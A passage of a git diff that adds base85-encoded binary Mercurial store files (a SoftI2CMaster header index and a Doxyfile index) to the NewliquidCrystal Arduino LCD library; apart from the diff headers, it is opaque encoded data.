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 BnLGdh literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/thirdparty libraries/_soft_i2_c_master__/_soft_i2_c_master.h.i b/libraries/NewliquidCrystal/.hg/store/data/thirdparty libraries/_soft_i2_c_master__/_soft_i2_c_master.h.i new file mode 100644 index 0000000000000000000000000000000000000000..8584eac981dd340b330010aa66fd1e141c975047 GIT binary patch literal 648 zcmV;30(boY0RRC20000000Kw=00un(00000006@O|NsC0|NsBRhh$Q4>=_&w$rD@p z+PE{P?eS3n00000000000001ZoTXIVYTGarz7OOb4)mr8N!(_;80i>vYYJiO4@uZA zgDjoIS{2EYj?mJ09Fh`$>%m}hnFv4wcU|Ik^uyv}?!O~d&DrN5Bi?sOr=Pw86 zw-Yc+IJY8`+Q8&u45x#K5Inp-OS^R>ms;Sm-sU3l29HXOO+)a}Tx9~`t<*%1DY`-O zE;l^+EM_;C^Wbzon~$f9&*SNAa&rx*uK=QGr`HCplSYRUDUog`T6nl(&egNGTi=5v zwQ}QS82KJTxYWyS;;+aFygDqPzFT^;AXqrAZlyk}V}dm?uHH-XS?(I#D!ws_kyKa` zx_Jg;X^N|Z44>}>23Hr-J|ChaRO`ze-eyW=smndLf)x6|8YwZt6)qbi1;`;^+*?T) zOFAy2aOl*!4lIjI1X6J8oYewIy&v~GYWEr}rUz|~Oj^OKCFF&^T;-0z_}vr7??@Ia z$;%bVZ#zMtzE{VER~_3%Emo*kW+~R^-#vPJrq(&D496jPn){D1TT6^9sppnyx0Wt^ zVP#Avghl7-N;c` zpB5vDvbft1_pbwGerp3o+%|0*IZL7}c|coioPS z06E;m=v6gD!*l!n$dh)B2TjBg+p;awypgyZp9&kbC3$d3H zj@=2466($c$-o4dEVnR4J06dPvc~=A3JN#}65@f)kIp~A?AE|w8|f(&mHlh|7uDy# z)c$CD=Oej)NpT8737(Za0s=!0u6dI`UK;fy`BM6Rwh`j-g{szR?T*SGD86kJGZZ-YYrS!0W(W~5p0l5W0pY=G>eEup z(92r2iukNf<2eqoBk<`HcJ6p_6F7ZC)C_e87@!|2s#?+9C+ps;XRJ?C zLZauJi_{Wf@`))VB)l9Y=4Uk!x|2ru6&NIy)mq{>M#hT6B{V>?GvQ@&jUt5yy01vx cN$w6Bmt@WctPh$@%0BVU?~Zfv6Qi47PHZm8E&u=k literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/_doxyfile.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/_doxyfile.i new file mode 100644 index 0000000000000000000000000000000000000000..759fd7ee0be5b7f8a956c2a071d08c6a2f12609a GIT binary patch literal 50220 zcmV(`K-0ef0RRC20000008;n>0VA0J00000005}}|NsC0|Ns9)KY}^Py7F-L+E-th z%-FRn^ti_3o#^N%ncWh?6LI z-udsH-?v&%gUK>30{Unk6|+2^MnzCAqo9b&GEQ&cmn@h@!KR4j!E{Ss&9m8N6{TfZ z##tH^+oFtCFw-37zKPP{;Qs!;BfoUA{N^xNWO)z<>pc5MG%H(AVQe=^f-?GC2H~QN z@XKXbEQ5omhXFt{%hDpAM>)JPgkM(pt{_b3!F>#m0Wk4Rn!&dOeT1{G!V(^Q2_NvE zN%w8=D!2=iO%(h){nHLQoz8#2fHwe35*K9=!~izDEKGwiDG14My^hj3ymnIn>i%@! z?U?T!{)Qw25CHHpjDaNUa0Z_h%WRX(apH9XAK*{reFPNxag&ws{lSyq$sw%4(bxL} z09`PdgFH&Y5?%^GE#jL^&a0KJ@t@-BzEs($3~vDUXcjMG;i4#=Wpkh<^AGU>Ea7Y! z=HUz$9u^^`aSSB$A=g}hEB)G`I)#T05AA|d4JX_+gw065+g_9wl zO(XauqJfJzFUlaB%{F-s4@E(?fX^BH4($-+Vwj}>Mw!L{+Fft})8Vr)9e*(0#0X9b zy8{Nzn8$HMnTKh?kaU7^M2{@Xa{co78280Zy1_khTx5&#KFp(I^9r2+nG-=;XGIZD z6N^~UX|+y9A3nYr4Exvp^WNxWaQ>DV^c7R3B|GBca`e}JZ*qO!J?qn=Ae{o_X_)Rl z%jbj-d=mY*Q3~M4z_LJ-Y(skh=7Rmsta`{RA`A_CGcDr<3j^8J0Gsz#`{z~gWY{|i zhVe8H^X-!wj8|u``+uscLL?SneMbD$cZhl zem+~qcgPS3CM;=`(|+)!7YxKTT?9q8ih?^}N&FNya-Jn3+mL(+l#3%nZE<|wdC_@> zxLp%Ieu3#91(`>^ttT#Dun`{KTq`}{!Xw4Ge zfeB{L-Q{NVb}V;r6yR@4&sh={MX-!vDPVQBxOH$8?7AF~09lYnBq~Yb>xLM{0Q9_< z!&(5HWa17n()+kvdbA#n-i|y{vpCu!sgvv`!}Z4P#)O1*#l=r&$p$%IWRb@pEPhtu z=XkYQ1-ck&6totlGsAs62auhI>*Jd|T*R}mI7R^IueVtSvZV8m^^NZ5(beSQ zYI1!txC9VJmmgK`=x)}9K-drHY(myV=AIT=vMHlOk~kr-;W`8o-7h1N*Sof^Y6Cz9 zqS;^p{B35YN#Ok?MWT5dj(hWj86>n!vRSD6jo+)f%zX$lu>_jI?#CA-(E`qrBusDl z*rFrESq1Y7kry?p=#q3=3^C5qyX0m^hklgv-bda`2|3G2Ml!>pg_+XxyA?%`GN%ws#8Yan!|YnY9XvpWi{}y zE`scir-pTN0H6iwr{OeVX$bhRq;rJ)Vv``X(_jG`0Ea1ppbc(NjIH1#qRj?#71<`A zMf}dTED`{WDk`1xRj_0)7vU;$SBJJ8Oqaoz`F&iVkk}y0MLFS(hareRICeobQ~^X< z2_FTpY?alryX<^a*$cz&`P-}R+y1_-0IYPgL7@!*vrZ#gi_hy8Jvft1~fTktrBKoE?|vsKw(+7nWDgl z>ve{^#S8)wm`5*hitZwhZ$r?I+CeuDLF;J;uk-MyIEllw9rQww?)1YFPQfBFKO9Z+ za31q1*~WQ#c?Rgv(4V3iy!s?e351hPiNE%NzMzDaSvzg9;z~`!>S0 zrrF-+QFPl5PB-aInA5BS0EB+{Yq$;>6#eN4%^Up%XbmDp2!Kq828CnJze|&-Jhro4_FTPpi0VM7?$?n2inhbx0g@@19LaXsT>^c15>NW?Hg{HtQ|1OTo6gEu}S?Oi? z*s!`F?Z`0F0cs1{wH^vAur7z++c%S4Ah$J%2!n1cLR04-6$a}|$5Y(+Xv>07b7 zfWJs-<`bN(2idcT5UU*iZaOI9RSYK^0`}MNE`-DIkhpxzz@CrrZ=g?z`Zw+*AVwWS zAqJr45aP0b0rJ67`W{V#H7Gw|ekuk`2UqjT@PHG-fM{B5(iwg3*f#SB4A2CRO8XpP zb`EO%OVo3xuu+54!Abx6>ilHX6NJV@t2&BE+d_%bRuiZOT4ByTFxS^fR7S~`WI+yF zf(}BDEUs=M)HC*DjL(y1LfUFr#7AIdMZnTGc+%FX5>BUR7KA0M@~YUWutn*|YBHLE zz#w<9&9hBGEJIdR(8mK14>>qXh!I(M;(#`iY=IV05VA#^L?InkG@U4dHK5vt9(Z)Y z%%HKu$&_afD5@C(iBPCAbA#xe0m;;axL;;Tq=1k(C$t2VFa-sY4h5XB6O8mwYwutn zB}-Tw#f9ojR;A&`*z86K?%1_~JV1{fJoz1ph9_iBZpsW#l^L8PTbxNW_c=>NoCwD% zh0tIuw}&r-CwP$1G`usPxSxP>d=r&Va60Ex+{!R4#<5~K;g81A06&Z4rQk;a6d)?H z5PTKl|0(WzfcbHw8J9g{fwX(RRrL3bu@0C$ zgOp(V##l1$8x`*TGTrwrtcW8xyTkY0k7E!!lkQ;HKe-KZM;ZdMfv`e*o^%qP%i~%5vUxXP0s_g|Basqkm&?tI-XG8^9e)yV2=J1;3ND; zMyp(z%TWpZ6N0`S>9M#dkI?yM-XLlWzXT;b2NrNIvNCvB)st#&a8`BIN4F-)6wN**KVqa zU~^QgHnXMdchV;hreGL@U?_FQ9ba_B{p>k4VBc)BP44;)*rJb$^qW#`yl(*F}ZCdo>yDvOYW!iq0-X9o6d` zL}}?nN5~U>umN68oKNQ&*et}NVl^EV<(4BhCQMf}>z+ogI+lb?;yiBbh-C=!;2#@; z%rKu zn`KYA)XnJBbs4xsHz-=gU_!-5MAhDR-?7{Y6GOUblFe>|gSZoQ5Lo&R=zM(qFSyZ; zkB?m*JVZ)2p~QP#MgCMRZgz?hfx)oMjk_$3?%lX0O0{NaeJJVWMqRBaqU@niTUqGB z@&>h`g}Qku7$yJ#1A+(&Q5D%i?h2EOrgjb6p-Bz#T^PjjuvB0o%Spyii=RT&*`ndB zqjNhX?4m9I^W`xo6ywDQE8anXI-dtJNfH?xT2 zWw?kGR6{-|PdS6wwCNg-a=}MM0Y)nv1q=^}V>(rj=^Vhc0WXsPlN9g(Xhg=_NR#gC z>+#^<`i;toh#n4_;>#sLAx2+&8BV>B69vAB#W>#qCJ@^mhZg97wvW#;IMEk*c%#c> z;PC&v3jXMMd8!aov?*wR)jN_WnrO$r`Z_l1l^RM#EcU0XXLBk3DWl!A@qc> z#WaxUbBLT3gmd!fJi(-sXt4mb^3^9;reKUQ+CF_yy!@0t;bjcbJwh7}07sQlf~YDG zKiO$0%>J+T_rpe*Rnt>ZEe;`CoT@$<-sItW$v&2)c%q(oa58!y0X&K{18|?xZw#?` zNtFjfr4^}<@TwB|9pzF%Chwp-_Eiq6VvU8TMi-O88LaoU_=?|*F0Xra;gp*QHYN99 z`VG9lXCpgoe^=rdv^R}rCP4~y@U6(_2~rYMfoOa7%*w_T*O*0Z4(rQyV_nPmjEVWw zR-4B_KaAzEtwJUu8bb@R%Z(K+qq7x;UFPi|Dre{?ZzO`*pSx&&BoTT3Ygm=Ul$F%J!8@ClteIi% z)e%UvRY;DDc7QgTz5oN#IZ8y5@Fn_(04}v5*~dYdUX!JhJBUMHY0Ods%oH)eHLo;NtY6 z9gL>PBtVuU`0`>~E)fLb$u=!AJqFMCo7pJLEt{OlDrg6caal8y~~n2e?dqZ zYe+#ja1xVwH#jb077SHkwGcG|9f?aal8x8`y*PRtG zYj|RAS4!bv+}$WkWOrjm2-s3Er3*yRa43ui7iP#K&w?UeS5C5Oh=XJePQPNa zo_%R#RwAFW##$7x!yjdoyCefV97*8fcE;?Jn}{9s_%j}GVJRs{qN>j083GBz#7jph zkNn#z0s%QMY~th^^x7?1&SfE*bfh$xC)ixm`ycHh5uH_zy)AnIa*^fZ-`*ZIV&y zYZs`@yVC7_xP52~oR84%J{ewLT#hdKmy?gq;<|RX7`r!lw$XS3>DY~)ZVi8*4A7PP z`Uom;_|z^NcHWu1zD?pP^eO!TiidR2$^P)oc11&n!nyRNO9^7@}?{kKrhsm;>d% zA)f>X3s*Bxka5Se7%=C^p*Xi_-=Xq@thbq(@g%HyN;)iTa^VHf^v0Y>5^FtVw^dw< zAm#KL5Epmo_0qX1VZNKd7EUP~lx*9~h~g`tkQC;nF~+RW37VhM%$Y__ag;<3Et|YW z?=_?*K}s6jKLK&x9gmwGMj}E{HNYsTIchg4AH2ClK9Sg{hFXp@DSq(LR`$819t$ZI zr+3xGE@ z&7$d83$YSNdp9;Tp(WwBt_VDNuNv1lcFrg`!6bN}O|7w!CGv8x(+!<(p$I=Ie8Dmj z4le@mGt3N9ZwKXiuGW;tB=loW6}-N|C4uiuL{Ra?Kx#yG{0vt+jU?NbHU@%@F25!o z@x7Ddk7ut(!|PtRciLz7;2adXe1)DSCQAI1S!{}zU`fO*oGl|xX3bccm1krd72DM` zOGqWS#YzRV2%{B-geiHMw^|k~l1;IcguYwSpv}o%+wupFMlVNeR6D=V(u|;-8Q(%GB`cb zY;&_@qYhO2n<%%l!p6%oc{8IyZ$;+elxElHBY{5M6x*P zbs4WX1QoJqLe=9Yjj(B{Q&6h(#Na`X!>Y1BgGwi3(n?pGB&3As7yt9%`5(Tk z?Ttg81;CEy0oc%-X#K3y`BU5D8~m`%fvX%;?{&s58eC8p1X#)!|MU4DU_buhhabNG zgVGDm#@eQov+>ziuStBpi9xme=T;;N7xq6)F1x+Sb$2*yh-G=&q+=&hzGBQVj;a<< zg43R5ZIem{CQ_wB1&@fkFi!9wp{;Qt=9QO##l{3a!%mr+yLlPU=O~j>5>TS^C}J0v zgLmCYpC-}I#*^-3(6iZc7GrXZ7=r8xpjD@@(=Mb~8ROHCt7aq54^&uLkn~;62@ZAS z8UPY9dhlpf>6d~dFM5bV!%?q0+^sQM-wH1?DUFB5IfJDV86WjnIqa0VJQ7}!xF#0K zhq%5}-vN)hX>OkO>7eZ6Qc2Io)Ekp2>1ZU5f0A?)QJ@?W5QdK7sUa`gNftsn{WaJt z)#akXqB8@{TbtoeYQh3-a!-?f9F2TqiV#wpSm9`#zDBCE{^WFYGOlumL#>Jh>#=5< zrP~!Iqc=od(Bt&Eq&jI<&K}fgZ44RtiQ_Wgn0H*8um2aa!2kJ1z1*}tY-wCIjhpg2 zMX7b&{gps9e%ydh&2(-;87a&%&Y^Gjd~|+&KECMoCSuA) zpr(axI*vWVf#iyMYqSB48>rVHaGgA9th;HDa1>>)I7%K^0PTdf*?cSKxj2{}hq=tB zIGY|Hl4U9}4V>?r!l|FC!=%*k@T_ID4bCxI1t)_cgJbH(i^{|;Td+hXx9NxS$y&jZ zSAs5HJ%yC+4wYL^chR8fyijUHpLIrYK*nyioyN30tGvn~KEgF;zt%W+$6#di&*AT; zgj~+EujEeBv20@9xKJkV7CAP_?xXyOoFECg{tGuL3sKm>TKgkN^iZ6N-MBEtTm%7o zt8M;nKnas7Su$0eIEuzVaH>2dI&c_;T{5&<4LQIPF)DaefzeOOdw0``-^U;|?+cA- zoP{&W0TRIHAS~USuDYAPM(4)WAU+=VMi)C*qk)U6dBYS?uxA{r3vtes7*dP^C|IpT zazu6pNBqSj6C9tYm_fP?UGN)`9G{NfV{-WL3Pspp*r=R80#9;;o3<=A_H2$aBSt9* zM621Tq;WnG$H8F`XLeUXY_c@oj4pe9Q8;Dvg9S1QJ;ALTS?!8)sZI=OMYIcE*m+CN z$4vRL0<#o?DX68l5heUJ!d6=gQv>v7^vH}-8ussTirHxYAr55DQQH+!;s6I_)oNvv zQ+)KsZHZA&7sU*FEqr}++UvZ!BQUKWhaKoSa##;cRVtHp1CcyhFT-i1MU~U7dY8%3 z>YsG3B~kHrlVxd6d(Is|UaO+GhZ0-}yn_(+Fr2}=Wom<)uy&Hm8VFFqzV&oJ0cy+f zbI9S~`7mRQud#*4`1<*H@(@+(48deUtoN{nPY~*B#Z@vhr$A38aelY;?-cOdODHj( zy$KuQCFoCNo1O_~9SKufni?}9P!*C|`vj>~>D@-V)$j^wM%5MZ&LcSw-KSk$%}(F~ z<<8*m0Cz2`#|Dn#`0U<7yq!D1wl{($<;b7vEEKi1Y%a|Bi1l)(sV`TYo8|G?+r^^! zh$NDKbk5Qpad%-&I!xTsc9Y(QhyM1+ri2oxZ8>;iEp!s&+2YI5U=QV;?~|92(lyl@ zR-Be&ZdvKPO#_H5Y%t&1>4Monszos_%J&tqp3B=qvF$ZDqwI#MiF1pevf=CR=8&@X{rA=?N2N&n)q--Dk{ehCtD>MidYf9t?gy|l29rT|IQTbELD2B1d4Nb!m0p0h)`?1PY+wU`29P;!O~MlW zmxK~5%qpDanU^KHV4;Z0g{$>8gh2)i_YLt+m`&wOMDg@Q;55w>rNV=Sa#^*;gDa{r zH^4qaILN!_yrppZ0-5?q1~xPuSbezQBh2%>i{~4n1rva^Un0RyM}l&LG@VSepKtI9 zJr>?O^57GK>V9T-UbB^%M>kk&N0Px87&%6vjH2bf{z)aRH(a?6v z_JU=*-8O+k{h<`EXo<=6LcnH=BGL#mg&v#yEHIx{wWLKs)zd*8M0AH4uUykMuA;ZY zw9>@pIQ0{tDJW=~4$is5AeGGG0q%A=WF}8dW~`yD_FEiS;v%ZnZAD<44iZ*lZ#~`9 z1=LBrV0)taDqqL;R{Md47J53lt8a+%YukTM6NmF?rI|5227uHq82I7esl)3aokyQ- zW{)iLn=HW)@Fb5S?DTd|Nw8*@AJ))BWmoX@meOBO4^h&WIcWC<*rGyh19kEoS@(wIYEH!~&Ce6)^ZG|haIaWQO@Zs7YW96%=scn|iyX-dN z-6nb6(r#4S6q}l4@+lqIq(Q=4j)3N##)p-rVB5bhu$7aqAY>I52!4pS$qPSWSF zKbBVt6ubxWn!H6t4paHKngBDR=OEIZ7O0iJF*Li7k$ZacDW2lVw6KN50utJ|q}BpI3?3r%Bh^&2n(ift7U^&Xa;)JzK6Z zKh9*&0h8Q^dCHwm=FHF$xedAd=&#V)A7ty*px2bEuDi(&qMn^mra~bwR z8{9j61}TjTu!8fo(yRzhk=V3hXK-qNT+{h|_wpR<=|=mY3bfL*4m?cO)OzIh2LsOIOKZphBFPW&idzI3_V;BWArjXiF70sQB4Ui1Z5@9q26vxQ<=1fh2Qy+ zO6LpBjc5eA886JA=wDurE+5yH$>1ZU&Fid0H5Fu9l;>IAY*Mz_;S#csPrst<=WHeY zz>KSl`Ykv_QqL6S@Vn1C&)Ab28#_gxNnO{5RcKdk*4F5~&$IM~3W4f0sOuFp=6rOG zoj=a7P{{9}txi7C4yxp_RiTEJ-HcVtF{1ExEzwAdq2k;{6VC>`e1Y~2G5lVi^}H6u zNATpn0raCGA;^=Ln%YkDw(1IM;-9^(Ae{3^AK>VX1W=IsAR{bT+Y#=LY8cb z6T@SuPc|q^hq8jQJf3iTLiBq{aP;h&Tg`#JEJn-wRdj{H`NdVEuHbe9lq}?QevH!9vFW{w zl$`yI2s*2FFWhoHmyXoxEMVrUMmXmZ0Pz??~k0_ryw8aGc+gHA!eMV!2$8w zx5$YqWxnk!smd0X6c=0%HeTo>?*a?&P7RekC`yg^vHiN`jZ)bcVMYMe8Ns{pfBNh5 zX8{HN{_Z>Y8=?6JHW&J~6UX=$jfiPPOe5knL5T7HB~Q1cF-sb=W z{R05I{R05;y#wa^zb2yZ9RcgH|NDnSQ0~(e_A5@dlaOY1TOT-|dcG3HE_TqO^vJ{d*JP_to9+*lZrh;~ zJSowq&RNlUmXRK82Dj_OlxE_Bz8xGF@R`=m>tFr3i8fC4b>=_f7 zOJCy|8c?@bkQZE~@ne>uOB-l1>#IjRS_w{<1a zI*4-8s+mrLP*%OT%P*eRIhonH<2%P6ZxH^{8hfZs-Jk2|~OKx+X@}4!S*V zCJ!_4k1t<(Uz?v_zWjCql=k?V$k;&V?%4(FWzD_t8;HDjYpS)UJm5E#4eELJ2SpUA zdGJYd+r`gzNL$l^uqt4hHf9~A$L~+`Kis%Ev##T({}B5$DHLEeFsO1D$(cW z&@(@|Bl4_Ya!j}RJpR&%GvT@eBia%w9o*)u4LC{!T789H5V{i}XEI=Rqq>@v^u}^C z>k%+ck2j7H8-T7Ye0B2uDkmocV}xX_&NdZdExNT8?-Q%uTDw|@xpkuja$Oeec)6;W zpO?~haYDDADxKU!;7}8GxoNAwLnU#3VOEx}UUFQACVwS!IfC}pYI_a;T=O@F?341S zwV=E8a?&hYe1RsSj%h>goB7(4=4Faj>vAjScMEgVjbGfTW}G<8i8+>I+K;(l9Qt8$yT2>0WbP8lfe?G@>L#DLTa4G{+YYuV2AQAHMndfX7>5(w4MV#% z2^4*!4oqCwelORgH4)aUa^FGL-y&uqR3h#HRDZ2TK^0!yq3>9EQ*YJ65iX}c!-b2vGrCX_+1B4JQ)j|qUf@A3(va6{FE~G$hfk3PR;YX{^jfL zWN>zU+V7rV--lX_lt%?CXKb#YNwt*PN`9oCXz5muQ}KR_>R)YW+SC9>s%IzL=JZQb z$EokCI!|1%_-d%$2yB?%=nRt(JlOnLwLof{0XjX?Opk)b>tw`&wnTSVgd7HXD+XTo zOHFwRW9P;ft>sGY!!5G>3bjA!hhgrx@(~H@d9;`PH~q{0d9QzhwL_QvVHfk$8yL7H z>9R&MYshvW-tup9u?wc$O3htuCO8)#l837il8Q^jj2eG!V9h2&u|h3yj!F1ah#IS| z^|{@UJ22IqInF3_`3N^YSSu`t!9xP3tr<5_u-w9_#7-(r<+Q5+JkkU%-<8?800|}d ztBk^VH5TmfEGSp@4!06JluG@$9bMg&JLpkm(5rF(`gGELyR(!M2N_9NI5J=N64&8p zacU~)sOhPfnniTOG>U`gXhCO*+dI{%;xe}fxaSI1VNP@cdAcz7q`W=9`lc{Blt!_E zu{YdGkz9vliS3JS@&xivXIZY2Lk?prhSd9B6DfY*`D5n~s6#H}nF|}BbHFuUI(x6$uA$%`LSOUze`L;t zSFNdcvCgB8rDuvl~7MMuz{uU6}Dl#_mHNUm;1 zt-xTaumcQxWtL7UiRpXX){e*I-jQZ$d~Z+<_NHU20dl8!l{Qm-CgE1`cl1WXF}CBO zaSoaGq*>USt67$8R($z{)0jD~79E2DRt5*gV=K>VnLKsp{P*Xb&WmUNaoB1#0Ys?( zK!|I97^e|GWgRNrixLG6JJLx<$Wpr1E&klru29uZS7?9P4&2o4TehZvSSPb7z#6I$>J%n*V)DmW~rq0P|0td}<| zY<=mHZJcXz(U8_geRO?Plq*NK|D_~X;2Y%@B|xN!7XU7I|=8(_R=cPaZXO*Oo_rkk$EW?~LK};OcPAt$6f<5Hdb8p9K-&tc0Ziz* zNR`z$kgGP0j>=6c9i&Y(FzZD}}S`X%O|z|EB>ofT_dQYx--Jn@gv zuc+rQhX6HD$QRT2{zkq4!Khw9s<=^^u_y_(Ramg6(Qh>E&q9rVcT9Cm?9 z-*F>_+@-7TT1i)O_koEDBw08YXf#-W>CAQxhss<(p#e4VJYF9Mij&1 zC@%ho1emxTt&KBNlLbV@?cOd+?yhL#l7k5_x+IXVPp|qWnZQ(Hg4vPfjk~Hg@X*j#Z{!r9$hS&xjPP18-tGMQCba0MNaJum=acUinQMj8V;s_rN z1Q{MBZI0s`uSS%1?&I5d9nIsATpRe?G0wP9_Qhx!mXT=jrhgxyIS8J)b)h+iGym`m z!P-Wc%-jy1zo1`l@+e9Pisyf%4`y4u^66aj4MxmM*Q(OX0fqp%*{=5O}v(;~aFQ#~t?4kk>b0JnqWvdC#Bi z#Q1IZ?5tbI`6h&o!?#e(oK9GJsL)ZeS;Z;w0Qn@+C^a$LJp_5jNgLA$FSNx! zes~rx;ppIJIa@%rMOhqdNuzx~@=a>k*5XyOcU|*RO>Qh88p++V)Ssr_+z#)nP4M1M&#xp&Mh$T8MCat=dG~D4^E)5ySk(F|HuQhi z<5Xgrh72=aT)NdTRL45cYI+~H_}b|)x4yvX zPY6U3**|V#l-vGYb!XX60BsmN?>zgi9lU`Ni;TRS=U~{)!gUnZgWxZlwEvrYHMOPeY7a+y-Cn%mVQ zu{t&+ivob_f?$chDS{6a`1oE*s-hcyb{^ee0umfPTtMEDu&OmCqO^sou9a`b#CgoaLl(V%{2%So* zc1sDZRkwi;a(Vg*Jx1sYyQ(sYX>zc7IE4)_8f7Oe-uXyjWuyDdb@~oU|EL23>loui#WB$o0B5)gTmfwp zpoV^yS*$BhzK`ow_5OxF(>JpLYm-aH3f|x_8YsE z+0rm#xF$&uWi1LoIhaH`TOJ&!RUfi^Pbnvgc>+a3TtXE$-kR)3g2 z)sVDMz(b`@0fng6C(%AsAymFU?EAxRnH;~ z%mvKq{6$R+@5ozb>xw@UiB64{?MN=~@648~Ly0#wXdOG-I~tsu;@6L&3`PG=&-^w@ zt*3ka`K~ww9ULVZFf`&Isk{=3$Ekqw=q{ufhZCzXbH(m7%F(E>bBx2eD3a3>;25YK zm#vn;pc>HsIpjD!?NJ;4i5uV8O%lA4ixbGbnjNQyvLTvlzFHO#t^g^&T+TYt=ZGU6 zX_g*w`fHO*58FNMo++y;uN<#jF4w58x%mB3Vwr)x(*d`)k(f6bweiBeX%{#ocJ`ll z2b1lWswYS6Rs~g4_g7(oO0?lQYOU(-3_;W^umr%Dr?>)) z9W3PSVVlT+DkiS$q4t=fz=5X8$_U}$%A0=vqP!lQcP~F)Pe#4^l4z+Pm=$pvA~SJ6 z)P(|5>{yqO6R;@(ul@|Rww1-PlAzUcKnWTa1ka2KHt+dx(LFz5XhrtA)>uYzL_E4> zwBp?Iqr3h1c*}c$z@2F2>(ao4f+#Ps~6Jz}L3( zp#vPJpmv5KkT$HBcs^O?o7xd24>hC4kKtCet@(`V1l`zZS%b*8> z1ACw0frE59==?Za9)9U*gp}AxufLzZ^`&aH2m^-nPQS)E^rQ4~H2z8w$JS397dH6b z;OAdZhfC~@rrp_&0^PH<2uQtt8iVbHTyS!k_0mvaj7m0>(Y)nt=`# z>PYTTBpT1IcC);Gq!tWxYdCc@@9ANswsKn4G+CIZ^W$=@`h^GPL&|KwHym7y`(J1! zHkyf=@ls|ttWTK=T+WEVC)-p;hX;Cpmc;8KVkHDwDB0X#Ky8va4mr$|rq87{`z>{e 